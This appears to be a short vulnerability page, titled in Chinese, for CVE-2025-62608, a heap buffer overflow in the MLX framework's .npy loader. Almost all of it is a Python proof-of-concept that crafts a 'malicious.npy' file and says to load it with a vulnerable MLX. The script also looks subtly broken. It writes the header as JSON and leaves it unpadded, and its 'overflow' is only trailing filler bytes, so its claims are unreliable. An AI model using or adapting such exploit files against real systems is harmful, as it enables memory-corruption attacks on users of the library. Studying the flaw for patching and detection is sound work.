CVE-2025-62608 MLX堆缓冲区溢出漏洞（NumPy .npy文件解析）

#!/usr/bin/env python3 # CVE-2025-62608 PoC - Malicious .npy file generator # This PoC generates a malicious .npy file that triggers heap buffer overflow # in MLX framework's mlx::core::load() function import struct import numpy as np def create_malicious_npy(): """ Create a malicious .npy file that triggers OOB read in MLX The vulnerability exists in parsing NumPy .npy file headers """ # .npy file header format magic = b'\x93NUMPY' version = b'\x01\x00' # Version 1.0 # Malicious header: Forcing incorrect data offset # The header contains a fortran_order flag and shape info # that causes the parser to read beyond allocated buffer header_dict = { 'descr': np.float32().dtype.str, 'fortran_order': False, 'shape': (1,) } import json header_str = json.dumps(header_dict).replace(' ', '') header_len = len(header_str) + 1 # +1 for newline # Pack header length in little-endian format header_length = struct.pack('<H', header_len) # Construct header header = magic + version + header_length + header_str.encode() + b'\n' # Malicious data: crafted to trigger OOB read # The data size is manipulated to cause buffer overflow malicious_data = b'A' * 100 + b'\x00' * 13 # Extra 13 bytes for OOB read # Write malicious .npy file with open('malicious.npy', 'wb') as f: f.write(header) f.write(malicious_data) print(f"[+] Created malicious.npy") print(f"[+] Header size: {len(header)} bytes") print(f"[+] Data size: {len(malicious_data)} bytes") print(f"[+] Expected OOB read: 13 bytes") def verify_npy(): """Verify the generated .npy file""" with open('malicious.npy', 'rb') as f: magic = f.read(6) print(f"[+] Magic: {magic}") version = f.read(2) print(f"[+] Version: {version.hex()}") header_len = struct.unpack('<H', f.read(2))[0] print(f"[+] Header length: {header_len}") if __name__ == '__main__': create_malicious_npy() verify_npy() print("\n[!] Usage: Load malicious.npy with vulnerable MLX version") print("[!] In Python: mlx.core.load('malicious.npy')")